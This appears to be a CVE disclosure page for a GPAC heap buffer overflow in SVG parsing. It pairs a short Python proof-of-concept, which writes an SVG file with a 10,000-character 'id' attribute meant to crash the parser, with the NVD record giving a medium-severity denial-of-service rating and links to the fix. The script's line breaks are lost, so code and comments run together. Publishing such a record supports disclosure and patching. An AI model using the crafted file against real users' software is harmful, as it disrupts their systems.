CVE-2026-39103

import sys # PoC for CVE-2026-39103: GPAC Buffer Overflow in SVG Parsing # This script generates a malicious SVG file designed to trigger # the buffer overflow in svg_parse_strings() / gf_svg_parse_attribute(). # Create a long payload to overflow the buffer payload = "A" * 10000 # Construct the malicious SVG content svg_content = f'''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <!-- Injecting long string into an attribute to trigger overflow --> <rect id="{payload}" x="10" y="10" width="80" height="80" fill="red"/> </svg> ''' # Write the payload to a file filename = "CVE-2026-39103_poc.svg" with open(filename, "w") as f: f.write(svg_content) print(f"[+] PoC file generated: {filename}") print("[+] Open this file with a vulnerable version of GPAC to reproduce the crash.")

{"cve": {"id": "CVE-2026-39103", "sourceIdentifier": "[email protected]", "published": "2026-05-05T16:16:12.993", "lastModified": "2026-05-07T15:15:06.770", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer Overflow vulnerability in GPAC before commit v391dc7f4d234988ea0bc3cc294eb725eddf8f702 allows an attacker to cause a denial of service via the src/scenegraph/svg_attributes.c, svg_parse_strings(), gf_svg_parse_attribute()"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://github.com/gpac/gpac/commit/391dc7f4d234988ea0bc3cc294eb725eddf8f702", "source": "[email protected]"}, {"url": "https://github.com/gpac/gpac/issues/3506", "source": "[email protected]"}, {"url": "https://github.com/gpac/gpac/issues/3506", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}